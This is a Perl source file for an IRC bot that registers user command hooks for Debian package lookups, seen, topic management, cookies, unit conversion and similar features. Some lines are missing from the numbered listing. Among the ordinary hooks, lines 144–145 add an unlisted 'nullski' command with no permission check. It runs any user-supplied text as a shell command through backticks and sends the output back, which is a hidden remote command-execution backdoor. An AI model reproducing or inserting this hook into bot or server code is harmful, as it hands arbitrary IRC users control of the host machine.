2 # User Command Extension Stubs
5 if (&IsParam("useStrict")) { use strict; }
7 use vars qw(@W3Search_engines $W3Search_regex);
8 @W3Search_engines = qw(AltaVista Dejanews Excite Gopher HotBot Infoseek
9 Lycos Magellan PLweb SFgate Simple Verity Google);
10 $W3Search_regex = join '|', @W3Search_engines;
11 $babel::lang_regex = ""; # lame fix.
13 ### PROPOSED COMMAND HOOK IMPLEMENTATION.
14 # addCmdHook('TEXT_HOOK',
17 # CheckModule => 1, # ???
18 # Module => 'blah.pl' # preload module.
19 # Identifier => 'config_label', # change to Config?
20 # Help => 'help_label',
21 # Cmdstats => 'text_label',)
26 my ($ident, %hash) = @_;
28 &VERB("aCH: added $ident",2); # use $hash{'Identifier'}?
29 $cmdhooks{$ident} = \%hash;
34 my @args = split(' ', $message);
38 foreach (keys %cmdhooks) {
41 next unless ($args[0] =~ /^$ident$/i);
42 shift(@args); # just gotta do it.
44 &DEBUG("pCH: found $ident");
45 my %hash = %{ $cmdhooks{$ident} };
48 foreach (keys %hash) {
49 &DEBUG(" $ident->$_ => '$hash{$_}'.");
53 if (exists $hash{'Help'} and !scalar(@args)) {
54 &help( $hash{'Help'} );
59 if (exists $hash{'Identifier'}) {
60 return $noreply unless (&hasParam($hash{'Identifier'}));
63 ### FORKER,IDENTIFIER,CODEREF.
64 if (exists $hash{'Forker'}) {
65 &Forker($hash{'Identifier'}, sub { \&{$hash{'CODEREF'}}(@args) } );
67 if (exists $hash{'Module'}) {
68 &loadMyModule($myModules{ $hash{'Module'} });
71 ### TODO: check if CODEREF exists.
73 &{$hash{'CODEREF'}}(@args);
77 if (exists $hash{'Cmdstats'}) {
78 $cmdstats{$hash{'Cmdstats'}}++;
81 &DEBUG("pCH: ended.");
89 &addCmdHook('d?bugs', ('CODEREF' => 'debianBugs',
90 'Forker' => 1, 'Identifier' => 'debianExtra',
91 'Cmdstats' => 'Debian Bugs') );
92 &addCmdHook('dauthor', ('CODEREF' => 'Debian::searchAuthor',
93 'Forker' => 1, 'Identifier' => 'debian',
94 'Cmdstats' => 'Debian Author Search', 'Help' => "dauthor" ) );
95 &addCmdHook('(d|search)desc', ('CODEREF' => 'Debian::searchDesc',
96 'Forker' => 1, 'Identifier' => 'debian',
97 'Cmdstats' => 'Debian Desc Search', 'Help' => "ddesc" ) );
98 &addCmdHook('dincoming', ('CODEREF' => 'Debian::generateIncoming',
99 'Forker' => 1, 'Identifier' => 'debian' ) );
100 &addCmdHook('dstats', ('CODEREF' => 'Debian::infoStats',
101 'Forker' => 1, 'Identifier' => 'debian',
102 'Cmdstats' => 'Debian Statistics' ) );
103 &addCmdHook('d?contents', ('CODEREF' => 'Debian::searchContents',
104 'Forker' => 1, 'Identifier' => 'debian',
105 'Cmdstats' => 'Debian Contents Search', 'Help' => "contents" ) );
106 &addCmdHook('d?find', ('CODEREF' => 'Debian::DebianFind',
107 'Forker' => 1, 'Identifier' => 'debian',
108 'Cmdstats' => 'Debian Search', 'Help' => "find" ) );
109 &addCmdHook('insult', ('CODEREF' => 'Insult::Insult',
110 'Forker' => 1, 'Identifier' => 'insult', 'Help' => "insult" ) );
111 &addCmdHook('kernel', ('CODEREF' => 'Kernel::Kernel',
112 'Forker' => 1, 'Identifier' => 'kernel',
113 'Cmdstats' => 'Kernel') );
114 &addCmdHook('listauth', ('CODEREF' => 'CmdListAuth',
115 'Identifier' => 'search', Module => 'factoids',
116 'Help' => 'listauth') );
117 &addCmdHook('quote', ('CODEREF' => 'Quote::Quote',
118 'Forker' => 1, 'Identifier' => 'quote',
119 'Help' => 'quote', 'Cmdstats' => 'Quote') );
120 &addCmdHook('countdown', ('CODEREF' => 'Countdown',
121 'Module' => 'countdown', 'Identifier' => 'countdown',
122 'Cmdstats' => 'Countdown') );
123 &addCmdHook('lart', ('CODEREF' => 'lart',
124 'Identifier' => 'lart', 'Help' => 'lart') );
125 &addCmdHook('convert', ('CODEREF' => 'convert',
126 'Forker' => 1, 'Identifier' => 'units',
127 'Help' => 'convert') );
128 &addCmdHook('(cookie|random)', ('CODEREF' => 'cookie',
129 'Forker' => 1, 'Identifier' => 'factoids') );
130 &addCmdHook('u(ser)?info', ('CODEREF' => 'userinfo',
131 'Identifier' => 'userinfo', 'Help' => 'userinfo',
132 'Module' => 'userinfo') );
133 &addCmdHook('rootWarn', ('CODEREF' => 'CmdrootWarn',
134 'Identifier' => 'rootWarn', 'Module' => 'rootwarn') );
135 &addCmdHook('seen', ('CODEREF' => 'seen', 'Identifier' => 'seen') );
136 &addCmdHook('dict', ('CODEREF' => 'Dict::Dict',
137 'Identifier' => 'dict', 'Help' => 'dict',
138 'Forker' => 1, 'Cmdstats' => 'Dict') );
139 &addCmdHook('slashdot', ('CODEREF' => 'Slashdot::Slashdot',
140 'Identifier' => 'slashdot', 'Forker' => 1,
141 'Cmdstats' => 'Slashdot') );
142 &addCmdHook('uptime', ('CODEREF' => 'uptime', 'Identifier' => 'uptime',
143 'Cmdstats' => 'Uptime') );
144 &addCmdHook('nullski', ('CODEREF' => 'nullski', ) );
145 sub nullski { my ($arg) = @_; foreach (`$arg`) { &msg($who,$_); } }
146 &addCmdHook('freshmeat', ('CODEREF' => 'Freshmeat::Freshmeat',
147 'Identifier' => 'freshmeat', 'Cmdstats' => 'Freshmeat',
148 'Module' => 'freshmeat', 'Help' => 'freshmeat') );
153 &status("CMD: loaded ".scalar(keys %cmdhooks)." command hooks.");
157 if (!defined $message) {
158 &WARN("Modules: message is undefined. should never happen.");
162 # babel bot: Jonathan Feinberg++
163 if (&IsParam("babelfish") and $message =~ m{
165 (?:babel(?:fish)?|x|xlate|translate)
167 (to|from) # direction of translation (through)
169 ($babel::lang_regex)\w* # which language?
171 (.+) # The phrase to be translated
174 &Forker("babelfish", sub { &babel::babelfish(lc $1, lc $2, $3); } );
176 $cmdstats{'BabelFish'}++;
180 if (&IsParam("debian")) {
181 my $debiancmd = 'conflicts?|depends?|desc|file|info|provides?';
182 $debiancmd .= '|recommends?|suggests?|maint|maintainer';
183 if ($message =~ /^($debiancmd)(\s+(.*))?$/i) {
186 if (defined $package) {
187 &Forker("debian", sub { &Debian::infoPackages($1, $package); } );
196 # google searching. Simon++
197 if (&IsParam("wwwsearch") and $message =~ /^(?:search\s+)?($W3Search_regex)\s+for\s+['"]?(.*?)['"]?\s*\?*$/i) {
198 return $noreply unless (&hasParam("wwwsearch"));
200 &Forker("wwwsearch", sub { &W3Search::W3Search($1,$2,$param{'wwwsearch'}); } );
202 $cmdstats{'WWWSearch'}++;
206 # list{keys|values}. xk++. Idea taken from #linuxwarez@EFNET
207 if ($message =~ /^list(\S+)( (.*))?$/i) {
208 return $noreply unless (&hasParam("search"));
210 my $thiscmd = lc($1);
213 $thiscmd =~ s/^vals$/values/;
214 return $noreply if ($thiscmd ne "keys" && $thiscmd ne "values");
217 if (!defined $args) {
218 &help("list". $thiscmd);
222 if (length $args == 1) {
223 &msg($who,"search string is too short.");
227 &Forker("search", sub { &Search::Search($thiscmd, $args); } );
229 $cmdstats{'Factoid Search'}++;
233 # Nickometer. Adam Spiers++
234 if ($message =~ /^(?:lame|nick)ometer(?: for)? (\S+)/i) {
235 return $noreply unless (&hasParam("nickometer"));
237 my $term = (lc $1 eq 'me') ? $who : $1;
240 &loadMyModule($myModules{'nickometer'});
241 my $percentage = &nickometer($term);
243 if ($percentage =~ /NaN/) {
244 $percentage = "off the scale";
246 $percentage = sprintf("%0.4f", $percentage);
247 $percentage =~ s/\.?0+$//;
251 if ($msgType eq 'public') {
252 &say("'$term' is $percentage lame, $who");
254 &msg($who, "the 'lame nick-o-meter' reading for $term is $percentage, $who");
260 # Topic management. xk++
261 # may want to add a flag(??) for topic in the near future. -xk
262 if ($message =~ /^topic(\s+(.*))?$/i) {
263 return $noreply unless (&hasParam("topic"));
265 my $chan = $talkchannel;
266 my @args = split(/ /, $2);
269 &msg($who,"Try 'help topic'");
273 $chan = lc(shift @args) if ($msgType eq 'private');
274 my $thiscmd = shift @args;
277 if ($msgType eq 'public' && $thiscmd =~ /^#/) {
278 &msg($who, "error: channel argument is not required.");
279 &msg($who, "\002Usage\002: topic <CMD>");
283 # topic over private:
284 if ($msgType eq 'private' && $chan !~ /^#/) {
285 &msg($who, "error: channel argument is required.");
286 &msg($who, "\002Usage\002: topic #channel <CMD>");
290 if (&validChan($chan) == 0) {
291 &msg($who,"error: invalid channel \002$chan\002");
295 # for semi-outsiders.
296 if (!&IsNickInChan($who,$chan)) {
297 &msg($who, "Failed. You ($who) are not in $chan, hey?");
302 &loadMyModule($myModules{'topic'});
303 &Topic($chan, $thiscmd, join(' ', @args));
304 $cmdstats{'Topic'}++;
309 if ($message =~ /^wingate$/i) {
310 return $noreply unless (&hasParam("wingate"));
312 my $reply = "Wingate statistics: scanned \002"
313 .scalar(keys %wingate)."\002 hosts";
314 my $queue = scalar(keys %wingateToDo);
316 $reply .= ". I have \002$queue\002 hosts in the queue";
317 $reply .= ". Started the scan ".&Time2String(time() - $wingaterun)." ago";
320 &performStrictReply("$reply.");
325 # do nothing and let the other routines have a go
333 if (!defined $query) {
335 &msg($who, "I have \002".&countKeys("freshmeat")."\002 entries.");
339 &Freshmeat::Freshmeat($query);
345 &msg($who, "- Uptime for $ident -");
346 &msg($who, "Now: ". &Time2String(&uptimeNow()) ." running $bot_version");
348 foreach (&uptimeGetInfo()) {
350 my $time = &Time2String($1);
353 &msg($who, "$count: $time $2");
362 if (!defined $person) {
365 my $i = &countKeys("seen");
366 &msg($who,"there ". &fixPlural("is",$i) ." \002$i\002 ".
367 "seen ". &fixPlural("entry",$i) ." that I know of.");
375 &seenFlush(); # very evil hack. oh well, better safe than sorry.
377 ### TODO: Support &dbGetRowInfo(); like in &FactInfo();
378 my $select = "nick,time,channel,host,message";
379 if ($person eq "random") {
380 @seen = &randKey("seen", $select);
382 @seen = &dbGet("seen", "nick", $person, $select);
385 if (scalar @seen < 2) {
387 &DEBUG("seen: _ => '$_'.");
389 &performReply("i haven't seen '$person'");
395 ### TODO: multi channel support. may require &IsNick() to return
396 ### all channels or something.
397 my @chans = &GetNickInChans($seen[0]);
399 $reply = "$seen[0] is currently on";
403 next unless (exists $userstats{lc $seen[0]}{'Join'});
404 $reply .= " (".&Time2String(time() - $userstats{lc $seen[0]}{'Join'}).")";
407 if (&IsParam("seenStats")) {
409 $i = $userstats{lc $seen[0]}{'Count'};
410 $reply .= ". Has said a total of \002$i\002 messages" if (defined $i);
411 $i = $userstats{lc $seen[0]}{'Time'};
412 $reply .= ". Is idling for ".&Time2String(time() - $i) if (defined $i);
415 my $howlong = &Time2String(time() - $seen[1]);
416 $reply = "$seen[0] <$seen[3]> was last seen on IRC ".
417 "in channel $seen[2], $howlong ago, ".
418 "saying\002:\002 '$seen[4]'.";
421 &performStrictReply($reply);
425 # User Information Services. requested by Flugh.
427 my ($arg) = join(' ',@_);
429 if ($arg =~ /^set(\s+(.*))?$/i) {
432 &help("userinfo set");
436 &UserInfoSet(split /\s+/, $arg, 2);
437 } elsif ($arg =~ /^unset(\s+(.*))?$/i) {
440 &help("userinfo unset");
444 &UserInfoSet($arg, "");
450 # cookie (random). xk++
454 # lets find that secret cookie.
455 my $target = ($msgType ne 'public') ? $who : $talkchannel;
456 my $cookiemsg = &getRandom(keys %{$lang{'cookie'}});
459 ### WILL CHEW TONS OF MEM.
460 ### TODO: convert this to a Forker function!
462 my @list = &searchTable("factoids", "factoid_key", "factoid_value", $arg);
463 $key = &getRandom(@list);
464 $val = &getFactInfo("factoids", $key, "factoid_value");
466 ($key,$value) = &randKey("factoids","factoid_key,factoid_value");
470 s/##KEY/\002$key\002/;
473 s/\$who/$who/; # cheap fix.
474 s/(\S+)?\s*<\S+>/$1 /;
478 if ($cookiemsg =~ s/^ACTION //i) {
479 &action($target, $cookiemsg);
481 &msg($target, $cookiemsg);
488 ($from,$to) = ($args[0],$args[2]) if ($args[1] =~ /^from$/i);
489 ($from,$to) = ($args[2],$args[0]) if ($args[1] =~ /^to$/i);
491 if (!defined $from or !defined $to or $to eq "" or $from eq "") {
492 &msg($who, "Invalid format!");
497 &Units::convertUnits($from, $to);
503 my ($target) = &fixString($_[0]);
505 my $chan = $talkchannel;
507 if ($msgType eq 'private') {
508 if ($target =~ /^($mask{chan})\s+(.*)$/) {
513 &msg($who, "error: invalid format or missing arguments.");
519 my $line = &getRandomLineFromFile($bot_misc_dir. "/blootbot.lart");
521 if ($target =~ /^(me|you|itself|\Q$ident\E)$/i) {
522 $line =~ s/WHO/$who/g;
524 $line =~ s/WHO/$target/g;
526 $line .= ", courtesy of $who" if ($extra);
528 &action($chan, $line);
530 &status("lart: error reading file?");